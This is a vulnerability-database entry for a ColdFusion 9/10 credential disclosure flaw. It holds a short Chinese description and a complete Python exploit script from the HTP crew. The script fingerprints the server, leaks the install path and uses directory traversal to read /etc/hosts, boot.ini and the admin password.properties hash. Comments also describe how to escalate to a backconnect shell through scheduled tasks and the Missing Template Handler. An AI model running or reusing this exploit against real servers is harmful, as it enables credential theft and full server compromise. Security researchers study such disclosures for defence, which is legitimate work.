ColdFusion 9-10 - Credential Disclosure Exploit

2015-09-09T00:00:00
ID SSV:89386
Type seebug
Reporter
Modified 2015-09-09T00:00:00

Description

<p>ColdFusion 版本9/10远程密码HASH获取漏洞<br></p><p>首先测试目标网站地址是否可达:</p><p><a href="http://target_web_site/" rel="nofollow">http://target_web_site/</a>CFIDE/administrator/images/loginbackground.jpg</p><p>通过上述图片的hash值可判断版本</p</p><p>然后测试:</p><p><a href="http://target_web_site/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" rel="nofollow">http://target_web_site/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp</a><br></p><p>如果成功的话就可以,接下来可以直接参考python脚本了.</p>

                                        
                                            
                                                #!/usr/bin/env python
# -*- coding: utf-8 -*-
 
intro="""
 _     _ _______  _____       _    _ _______        Cold        ,''' Fusion
 |_____|    |    |_____]       \  /  |______        Cold ,'''  /--   Fusion
 |     |    |    |              \/   ______|.       Cold -,__,'      Fusion
 
Name        : ColdSub-Zero.pyFusion v2
Description : CF9-10 Remote Root Zeroday
Crew        : HTP
"""
cyan = "\x1b[1;36m"
red = "\x1b[1;31m"
clear = "\x1b[0m"
print intro.replace("Cold",cyan).replace("Fusion",clear)
 
import requests, time, sys, urllib, hashlib
 
def flash(color,text,times):
    sys.stdout.write(text)
    line1 = "\x0d\x1b[2K%s%s" % (color,text)
    line2 = "\x0d\x1b[2K%s%s" % (clear,text)
    for x in range(0,times):
        sys.stdout.write(line1)
        sys.stdout.flush()
        time.sleep(.2)
        sys.stdout.write(line2)
        sys.stdout.flush()
        time.sleep(.2)
    print line2
 
abspath = ""
operatingsystem = "refrigerator"
coldfusion = 0
 
def fingerprintcf(protocol,target):
    # Fingerprint using md5's of CF 9/10 admin image
    print "[*] Fingerprinting CF 9/10 instance"
    imgdata = requests.get("%s://%s/CFIDE/administrator/images/loginbackground.jpg" % (protocol,target)).content
    md5fingerprint = hashlib.md5(imgdata).hexdigest()
    if md5fingerprint == "a4c81b7a6289b2fc9b36848fa0cae83c":
        print "[*] Detected ColdFusion 10"
        return 10
    elif md5fingerprint == "596b3fc4f1a0b818979db1cf94a82220":
        print "[*] Detected ColdFusion 9"
        return 9
    elif md5fingerprint == "779efc149954677095446c167344dbfc":
        # ColdFusion 8 doesn't have mail.cfm, but it is still exploitable due to l10n parsing the template as CFM.
        # It would require shell data to be on the box to include, such as an uploaded 'picture' or what-not.
        print "[*] Requires inclusion: m4ke your 0wn fuq1ng z3r0d4y!"
        sys.exit(0)
    else:
        print "[*] Unable to fingerprint, continuing with little environment data"
        return None
 
def getpath(protocol,target):
    # Leverage a path disclosure to get the absolute path on CF9-10
    print "[*] Testing for path disclosure"
    abspathdata = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target)).headers
    if "set-cookie" in abspathdata.keys():
        try:
            abspath = urllib.unquote(abspathdata['set-cookie'].split('ANALYZER_DIRECTORY=')[1].split(';')[0])
            print "[*] Absolute path obtained: %s" % abspath
            if abspath[0] == "/":
                print "[*] Detected Linux"
                operatingsystem = "linux"
            elif abspath[1] == ":":
                print "[*] Detected Windows"
                operatingsystem = "windows 95 with bonzibuddy"
            else:
                print "[?] t4rg3t 4pp34r5 t0 b3 runn1n9 0n 4 r3fr1g3r4t0r"
                operatingsystem = "refrigerator"
        except:
            print "[?] OS detection failure. Continuing with fingerprint."
    else:
        print "[?] OS detection failure. Continuing with fingerprint."
    return abspath,operatingsystem
 
# HTP '13
# Congratulations, you're reading the source.
#
# Subzero v2 is a do-it-yourself Subzero v1. Some details have been provided throughout the source hinting at the potential usage.
# As far as changes, the Null RDS 1day has been removed, as well as the locale + FCKEditor exploitation checks & auth bypass + shell drop.
# If you know what you are doing, this 0day can be used in conjunction with the other 0days to exploit ColdFusion 6-10. (aka everything).
#
# ColdFusion 6 can be taken out with the locale 0day, and XORing password.properties against the stored private key will yield the actual
# login password.
#
# Since you're reading the source, we'll give you another 0day to improve Subzero. Once Subzero has extracted the hash, use scheduled tasks
# to store your backconnect shell in a temp directory (such as the CF temp directory/windows TEMP dir or /dev/shm). Then, use Server Settings
# &gt; Settings in the CF admin to load it as the Missing Template Handler (you can travel upwards from the 'relative path' using ../). Finally,
# trigger a 404 to recieve your backconnect, and restore the Missing Template Handler. We might release fUZE Shell v2 in the future for POCs
# of this written in CFML.
#
# For anyone looking to fully weaponize Subzero into direct RXE for ColdFusion 10, we'll give you a hint. Subzero is a LFI, not a LFD.
# (preinstalled *.cfm) :P
 
target = raw_input("Target&gt; ")
if "https" in target:
    protocol = "https"
    target = target.replace("http://","").replace("https://","").split("/")[0]
    print "[*] Target set to: %s" % target
    print "[*] HTTPS: Enabled"
else:
    protocol = "http"
    target = target.replace("http://","").replace("https://","").split("/")[0]
    print "[*] Target set to: %s" % target
 
abspath,operatingsystem = getpath(protocol,target)
coldfusion = fingerprintcf(protocol,target)
 
print "[*] Collecting additional data about operating system"
etchosts = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../etc/hosts&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target)).content
bootini = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../boot.ini&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target)).content
if "hosts" in etchosts or "127.0.0.1" in etchosts:
    operatingsystem = "linux"
elif "[boot loader]" in bootini or "[operating systems]" in bootini:
    operatingsystem = "windows 95 with bonzibuddy"
elif operatingsystem is "linux" or "windows 95 with bonzibuddy":
    pass
else:
    operatingsystem = "refrigerator"
 
if operatingsystem is "refrigerator":
    print "[*] go0d 1uq!!"
 
print "[*] Obtaining credentials"
tests = ["../../lib/password.properties","..\..\lib\password.properties"]
if operatingsystem is "windows 95 with bonzibuddy":
    if coldfusion == 10:
        tests += ["..\..\..\..\..\..\..\..\..\ColdFusion10\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties"]
    elif coldfusion == 9:
        tests += ["..\..\..\..\..\..\..\..\..\ColdFusion9\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\ColdFusion9\cfusion\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties"]
    else:
        tests += ["..\..\..\..\..\..\..\..\..\ColdFusion9\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\ColdFusion10\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\ColdFusion9\cfusion\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties"]
elif operatingsystem is "linux":
    if coldfusion == 10:
        tests += ["../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
                          "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"]
    elif coldfusion == 9:
        tests += ["../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties",
                          "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"]
    else:
        tests += ["../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties",
                          "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
                          "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"]
elif operatingsystem is "refrigerator":
    # w3lp l00ks l1k3 w3 g0tt4 5h0tguN th1s sh1t
    tests += ["..\..\..\..\..\..\..\..\..\ColdFusion9\lib\password.properties",
                  "..\..\..\..\..\..\..\..\..\ColdFusion10\lib\password.properties",
                  "..\..\..\..\..\..\..\..\..\ColdFusion9\cfusion\lib\password.properties",
                  "..\..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\password.properties",
                  "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties",
                  "../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties",
                  "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
                  "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"]
 
for path in tests:
    lfidata = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=%s&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target,path)).content
    if "encrypted=true" in lfidata:
        credzacquired = True
        print "[*] CF Administrator credentials acquired:"
        print lfidata
    else:
        pass
 
if credzacquired == True:
    flash(cyan,"[~] SUB ZERO WINS",3)
    time.sleep(.5)
    flash(red,"[!] FLAWLESS VICTORY",3)
    time.sleep(.5)
else:
    flash(red,"[!] COLDFUSION ADMIN WINS",3)
    time.sleep(.5)
 
# e0f HTP '13